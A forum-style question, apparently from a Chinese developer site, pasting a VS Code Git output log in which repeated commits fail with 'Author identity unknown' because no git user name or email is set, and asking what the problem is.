-s 2018901e87f1e3c0297dd01960c3828b1c4e687c [24ms] 2025-09-12 16:48:38.957 [info] > git check-ignore -v -z --stdin [22ms] 2025-09-12 16:48:40.301 [info] > git ls-files --stage -- src/api/ticket_routes.py [23ms] 2025-09-12 16:48:40.358 [info] > git show --textconv :src/api/ticket_routes.py [82ms] 2025-09-12 16:48:40.364 [info] > git cat-file -s 43bf38a728ee0c0d74c292af89e4914aa477fb5a [60ms] 2025-09-12 16:48:44.230 [info] > git ls-files --stage -- src/services/ticket_service.py [8ms] 2025-09-12 16:48:44.263 [info] > git cat-file -s 2018901e87f1e3c0297dd01960c3828b1c4e687c [30ms] 2025-09-12 16:48:44.266 [info] > git show --textconv :src/services/ticket_service.py [48ms] 2025-09-12 16:50:57.185 [info] > git ls-files --stage -- src/api/ticket_routes.py [16ms] 2025-09-12 16:50:57.219 [info] > git show --textconv :src/api/ticket_routes.py [54ms] 2025-09-12 16:50:57.221 [info] > git cat-file -s 43bf38a728ee0c0d74c292af89e4914aa477fb5a [32ms] 2025-09-12 16:51:02.535 [info] > git ls-files --stage -- src/services/ticket_service.py [10ms] 2025-09-12 16:51:02.561 [info] > git show --textconv :src/services/ticket_service.py [38ms] 2025-09-12 16:51:02.562 [info] > git cat-file -s 2018901e87f1e3c0297dd01960c3828b1c4e687c [24ms] 2025-09-12 16:51:27.866 [info] > git ls-files --stage -- src/api/ticket_routes.py [12ms] 2025-09-12 16:51:27.890 [info] > git show --textconv :src/api/ticket_routes.py [38ms] 2025-09-12 16:51:27.892 [info] > git cat-file -s 43bf38a728ee0c0d74c292af89e4914aa477fb5a [23ms] 2025-09-12 16:51:28.683 [info] > git check-ignore -v -z --stdin [16ms] 2025-09-12 16:51:30.428 [info] > git ls-files --stage -- src/services/ticket_service.py [16ms] 2025-09-12 16:51:30.467 [info] > git show --textconv :src/services/ticket_service.py [58ms] 2025-09-12 16:51:30.468 [info] > git cat-file -s 2018901e87f1e3c0297dd01960c3828b1c4e687c [37ms] 2025-09-12 16:51:59.036 [info] > git config --get commit.template [10ms] 2025-09-12 16:51:59.120 [info] > git for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) refs/heads/develop refs/remotes/develop [90ms] 2025-09-12 16:51:59.295 [info] > git for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname) [166ms] 2025-09-12 16:51:59.398 [info] > git status -z -uall [272ms] 2025-09-12 16:52:00.287 [info] > git ls-tree -l HEAD -- src/services/ticket_service.py [48ms] 2025-09-12 16:52:00.323 [info] > git show --textconv HEAD:src/services/ticket_service.py [87ms] 2025-09-12 16:52:42.545 [info] > git ls-tree -l HEAD -- src/services/ticket_service.py [57ms] 2025-09-12 16:52:53.560 [info] > git ls-tree -l HEAD -- src/services/ticket_service.py [67ms] 2025-09-12 16:52:56.036 [info] > git ls-tree -l HEAD -- src/services/ticket_service.py [54ms] 2025-09-12 16:52:56.062 [info] > git checkout -q -- src/services/ticket_service.py [75ms] 2025-09-12 16:52:56.078 [info] > git config --get commit.template [10ms] 2025-09-12 16:52:56.169 [info] > git for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) refs/heads/develop refs/remotes/develop [98ms] 2025-09-12 16:52:56.387 [info] > git for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname) [200ms] 2025-09-12 16:52:56.508 [info] > git status -z -uall [326ms] 2025-09-12 16:54:27.240 [info] > git ls-tree -l HEAD -- src/services/ticket_service.py [87ms] 2025-09-12 16:54:28.830 [info] > git ls-files --stage -- src/services/ticket_service.py [18ms] 2025-09-12 16:54:28.878 [info] > git cat-file -s 2018901e87f1e3c0297dd01960c3828b1c4e687c [45ms] 2025-09-12 16:54:28.879 [info] > git show --textconv :src/services/ticket_service.py [71ms] 2025-09-12 16:59:20.173 [info] > git config --get commit.template [17ms] 2025-09-12 16:59:20.246 [info] > git for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) refs/heads/develop refs/remotes/develop [86ms] 2025-09-12 16:59:20.417 [info] > git for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname) [163ms] 2025-09-12 16:59:20.512 [info] > git status -z -uall [261ms] 2025-09-12 16:59:21.485 [info] > git ls-tree -l HEAD -- src/services/ticket_service.py [51ms] 2025-09-12 16:59:21.519 [info] > git show --textconv HEAD:src/services/ticket_service.py [89ms] 2025-09-12 17:01:01.592 [info] > git ls-files --stage -- src/services/ticket_service.py [10ms] 2025-09-12 17:01:01.619 [info] > git cat-file -s 2018901e87f1e3c0297dd01960c3828b1c4e687c [23ms] 2025-09-12 17:01:01.619 [info] > git show --textconv :src/services/ticket_service.py [41ms] 2025-09-12 17:01:02.084 [info] > git ls-files --stage -- src/api/ticket_routes.py [10ms] 2025-09-12 17:01:02.110 [info] > git show --textconv :src/api/ticket_routes.py [39ms] 2025-09-12 17:01:02.118 [info] > git cat-file -s 43bf38a728ee0c0d74c292af89e4914aa477fb5a [32ms] 2025-09-12 17:01:03.444 [info] > git ls-files --stage -- src/services/project_service.py [6ms] 2025-09-12 17:01:03.470 [info] > git show --textconv :src/services/project_service.py [35ms] 2025-09-12 17:01:03.471 [info] > git cat-file -s c63efcc874f9c65b09f7c94bd83c1e06ce41e807 [24ms] 2025-09-12 17:04:53.017 [info] > git ls-tree -l HEAD -- src/services/project_service.py [46ms] 2025-09-12 17:04:53.044 [info] > git show --textconv HEAD:src/services/project_service.py [76ms] 2025-09-12 17:05:01.194 [info] > git ls-tree -l HEAD -- src/services/ticket_service.py [64ms] 2025-09-12 17:59:34.499 [info] > git ls-tree -l HEAD -- src/services/ticket_service.py [73ms] 2025-09-12 17:59:38.338 [info] > git ls-files --stage -- src/services/ticket_service.py [14ms] 2025-09-12 17:59:38.377 [info] > git cat-file -s 2018901e87f1e3c0297dd01960c3828b1c4e687c [35ms] 2025-09-12 17:59:38.377 [info] > git show --textconv :src/services/ticket_service.py [56ms] 2025-09-12 17:59:41.726 [info] > git ls-tree -l HEAD -- src/services/project_service.py [93ms] 2025-09-15 09:04:25.434 [info] > git ls-tree -l HEAD -- src/services/project_service.py [150ms] 2025-09-15 09:24:30.353 [info] > git ls-tree -l HEAD -- src/services/project_service.py [88ms] 2025-09-15 09:45:29.762 [info] > git ls-tree -l HEAD -- src/services/project_service.py [72ms] 2025-09-15 09:45:32.465 [info] > git ls-files --stage -- src/services/ticket_service.py [13ms] 2025-09-15 09:45:32.503 [info] > git show --textconv :src/services/ticket_service.py [54ms] 2025-09-15 09:45:32.504 [info] > git cat-file -s 2018901e87f1e3c0297dd01960c3828b1c4e687c [35ms] 2025-09-15 13:12:47.445 [info] > git ls-tree -l HEAD -- src/models/project_models.py [45ms] 2025-09-15 13:12:47.468 [info] > git show --textconv HEAD:src/models/project_models.py [71ms] 2025-09-15 13:12:50.439 [info] > git ls-tree -l HEAD -- src/services/project_service.py [45ms] 2025-09-15 13:12:50.462 [info] > git show --textconv HEAD:src/services/project_service.py [71ms] 2025-09-15 13:12:51.318 [info] > git ls-tree -l HEAD -- src/services/ticket_service.py [45ms] 2025-09-15 13:12:51.340 [info] > git show --textconv HEAD:src/services/ticket_service.py [71ms] 2025-09-15 13:12:51.709 [info] > git ls-tree -l HEAD -- src/services/project_service.py [40ms] 2025-09-15 13:12:51.737 [info] > git show --textconv HEAD:src/services/project_service.py [71ms] 2025-09-15 13:12:52.388 [info] > git ls-tree -l HEAD -- src/models/project_models.py [45ms] 2025-09-15 13:12:52.418 [info] > git show --textconv HEAD:src/models/project_models.py [78ms] 2025-09-15 13:13:00.112 [info] > git ls-tree -l HEAD -- src/services/project_service.py [49ms] 2025-09-15 13:13:00.151 [info] > git show --textconv HEAD:src/services/project_service.py [92ms] 2025-09-15 13:13:14.333 [info] > git add -A -- src/models/project_models.py [63ms] 2025-09-15 13:13:14.348 [info] > git config --get commit.template [9ms] 2025-09-15 13:13:14.408 [info] > git for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) refs/heads/develop refs/remotes/develop [66ms] 2025-09-15 13:13:14.558 [info] > git for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname) [140ms] 2025-09-15 13:13:14.619 [info] > git status -z -uall [204ms] 2025-09-15 13:13:17.976 [info] > git add -A -- src/services/project_service.py [50ms] 2025-09-15 13:13:17.992 [info] > git config --get commit.template [9ms] 2025-09-15 13:13:18.066 [info] > git for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) refs/heads/develop refs/remotes/develop [80ms] 2025-09-15 13:13:18.202 [info] > git for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname) [127ms] 2025-09-15 13:13:18.269 [info] > git status -z -uall [197ms] 2025-09-15 13:13:18.333 [info] > git ls-tree -l HEAD -- src/services/project_service.py [41ms] 2025-09-15 13:13:18.352 [info] > git show --textconv HEAD:src/services/project_service.py [62ms] 2025-09-15 13:13:36.242 [info] > git ls-files --stage -- src/services/project_service.py [19ms] 2025-09-15 13:13:36.288 [info] > git cat-file -s 9227faf1e67e7f7a0df23163cafb75f4287c5feb [42ms] 2025-09-15 13:13:36.344 [info] > git show --textconv :src/services/project_service.py [48ms] 2025-09-15 13:13:53.024 [info] > git -c user.useConfigOnly=true commit --quiet --allow-empty-message --file - [320ms] 2025-09-15 13:13:53.024 [info] Author identity unknown *** Please tell me who you are. Run git config --global user.email "you@example.com" git config --global user.name "Your Name" to set your account's default identity. Omit --global to set the identity only in this repository. fatal: no email was given and auto-detection is disabled 2025-09-15 13:13:53.085 [info] > git config --get-all user.name [56ms] 2025-09-15 13:13:53.104 [info] > git config --get commit.template [14ms] 2025-09-15 13:13:53.229 [info] > git for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) refs/heads/develop refs/remotes/develop [130ms] 2025-09-15 13:13:53.387 [info] > git for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname) [150ms] 2025-09-15 13:13:53.473 [info] > git status -z -uall [239ms] 2025-09-15 13:13:58.553 [info] > git ls-files --stage -- src/services/project_service.py [19ms] 2025-09-15 13:13:58.596 [info] > git cat-file -s 9227faf1e67e7f7a0df23163cafb75f4287c5feb [40ms] 2025-09-15 13:14:12.283 [info] > git -c user.useConfigOnly=true commit --quiet --allow-empty-message --file - [179ms] 2025-09-15 13:14:12.283 [info] Author identity unknown *** Please tell me who you are. Run git config --global user.email "you@example.com" git config --global user.name "Your Name" to set your account's default identity. Omit --global to set the identity only in this repository. fatal: no email was given and auto-detection is disabled 2025-09-15 13:14:12.296 [info] > git config --get-all user.name [10ms] 2025-09-15 13:14:12.308 [info] > git config --get commit.template [7ms] 2025-09-15 13:14:12.400 [info] > git for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) refs/heads/develop refs/remotes/develop [95ms] 2025-09-15 13:14:12.555 [info] > git for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname) [146ms] 2025-09-15 13:14:12.625 [info] > git status -z -uall [219ms] 2025-09-15 13:14:12.707 [info] > git merge-base refs/heads/develop refs/remotes/origin/develop [77ms] 2025-09-15 13:14:12.808 [info] > git diff --name-status -z --diff-filter=ADMR 4ef9932fddb4a218daa47e7e70e0d9aab2a6ede8...refs/remotes/origin/develop [98ms] 2025-09-15 13:14:14.765 [info] > git ls-files --stage -- src/services/project_service.py [48ms] 2025-09-15 13:14:14.822 [info] > git cat-file -s 9227faf1e67e7f7a0df23163cafb75f4287c5feb [52ms] 2025-09-15 13:14:20.147 [info] > git ls-files --stage -- src/services/project_service.py [19ms] 2025-09-15 13:14:20.196 [info] > git cat-file -s 9227faf1e67e7f7a0df23163cafb75f4287c5feb [45ms] 2025-09-15 13:14:21.124 [info] > git ls-tree -l HEAD -- src/services/ticket_service.py [40ms] 2025-09-15 13:14:21.156 [info] > git show --textconv HEAD:src/services/ticket_service.py [75ms] 2025-09-15 13:14:31.164 [info] > git ls-tree -l HEAD -- src/services/ticket_service.py [55ms] 2025-09-15 13:14:47.214 [info] > git ls-tree -l HEAD -- src/services/ticket_service.py [52ms] 2025-09-15 13:14:47.226 [info] > git checkout -q -- src/services/ticket_service.py [59ms] 2025-09-15 13:14:47.256 [info] > git config --get commit.template [24ms] 2025-09-15 13:14:47.780 [info] > git for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) refs/heads/develop refs/remotes/develop [544ms] 2025-09-15 13:14:48.288 [info] > git for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname) [489ms] 2025-09-15 13:14:48.446 [info] > git status -z -uall [650ms] 2025-09-15 13:14:49.049 [info] > git ls-files --stage -- src/services/ticket_service.py [14ms] 2025-09-15 13:14:49.102 [info] > git show --textconv :src/services/ticket_service.py [71ms] 2025-09-15 13:14:49.102 [info] > git cat-file -s 2018901e87f1e3c0297dd01960c3828b1c4e687c [49ms] 2025-09-15 13:14:49.414 [info] > git ls-tree -l HEAD -- src/services/ticket_service.py [63ms] 2025-09-15 13:14:50.180 [info] > git ls-files --stage -- src/services/ticket_service.py [15ms] 2025-09-15 13:14:50.218 [info] > git show --textconv :src/services/ticket_service.py [59ms] 2025-09-15 13:14:50.223 [info] > git cat-file -s 2018901e87f1e3c0297dd01960c3828b1c4e687c [37ms] 2025-09-15 13:14:50.401 [info] > git ls-tree -l HEAD -- src/services/ticket_service.py [89ms] 2025-09-15 13:14:52.217 [info] > git ls-files --stage -- src/services/ticket_service.py [35ms] 2025-09-15 13:14:52.282 [info] > git cat-file -s 2018901e87f1e3c0297dd01960c3828b1c4e687c [61ms] 2025-09-15 13:14:52.291 [info] > git show --textconv :src/services/ticket_service.py [113ms] 2025-09-15 13:15:00.322 [info] > git config --get commit.template [25ms] 2025-09-15 13:15:00.532 [info] > git for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) refs/heads/develop refs/remotes/develop [230ms] 2025-09-15 13:15:00.737 [info] > git for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname) [188ms] 2025-09-15 13:15:00.919 [info] > git status -z -uall [375ms] 2025-09-15 13:15:20.751 [info] > git config --get commit.template [28ms] 2025-09-15 13:15:20.952 [info] > git for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) refs/heads/develop refs/remotes/develop [224ms] 2025-09-15 13:15:21.426 [info] > git for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname) [462ms] 2025-09-15 13:15:22.066 [info] > git status -z -uall [1105ms] 2025-09-15 13:15:22.133 [info] > git merge-base refs/heads/develop refs/remotes/origin/develop [59ms] 2025-09-15 13:15:22.187 [info] > git diff --name-status -z --diff-filter=ADMR e64a67ba180bfcd9f878d8d5bc85d91e6c5109ed...refs/remotes/origin/develop [49ms] 2025-09-15 13:15:23.213 [info] > git blame --root --incremental e64a67ba180bfcd9f878d8d5bc85d91e6c5109ed -- src/services/ticket_service.py [1142ms] 2025-09-15 13:15:31.808 [info] > git config --get commit.template [34ms] 2025-09-15 13:15:32.281 [info] > git for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) refs/heads/develop refs/remotes/develop [494ms] 2025-09-15 13:15:32.991 [info] > git for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname) [680ms] 2025-09-15 13:15:33.303 [info] > git status -z -uall [996ms] 2025-09-15 13:15:37.550 [info] > git add -A -- . [248ms] 2025-09-15 13:15:37.839 [info] > git -c user.useConfigOnly=true commit --quiet --allow-empty-message --file - [285ms] 2025-09-15 13:15:37.839 [info] Author identity unknown *** Please tell me who you are. Run git config --global user.email "you@example.com" git config --global user.name "Your Name" to set your account's default identity. Omit --global to set the identity only in this repository. fatal: no email was given and auto-detection is disabled 2025-09-15 13:15:37.855 [info] > git config --get-all user.name [11ms] 2025-09-15 13:15:37.870 [info] > git config --get commit.template [10ms] 2025-09-15 13:15:37.969 [info] > git for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) refs/heads/develop refs/remotes/develop [105ms] 2025-09-15 13:15:38.324 [info] > git for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname) [343ms] 2025-09-15 13:15:38.439 [info] > git status -z -uall [461ms] 2025-09-15 13:16:17.761 [info] > git -c user.useConfigOnly=true commit --quiet --allow-empty-message --file - [1322ms] 2025-09-15 13:16:17.761 [info] Author identity unknown *** Please tell me who you are. Run git config --global user.email "you@example.com" git config --global user.name "Your Name" to set your account's default identity. Omit --global to set the identity only in this repository. fatal: no email was given and auto-detection is disabled 2025-09-15 13:16:17.822 [info] > git config --get-all user.name [57ms] 2025-09-15 13:16:17.850 [info] > git config --get commit.template [21ms] 2025-09-15 13:16:18.456 [info] > git for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) refs/heads/develop refs/remotes/develop [621ms] 2025-09-15 13:16:19.115 [info] > git for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname) [642ms] 2025-09-15 13:16:19.640 [info] > git status -z -uall [1170ms] 是什么问题?
09-16
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值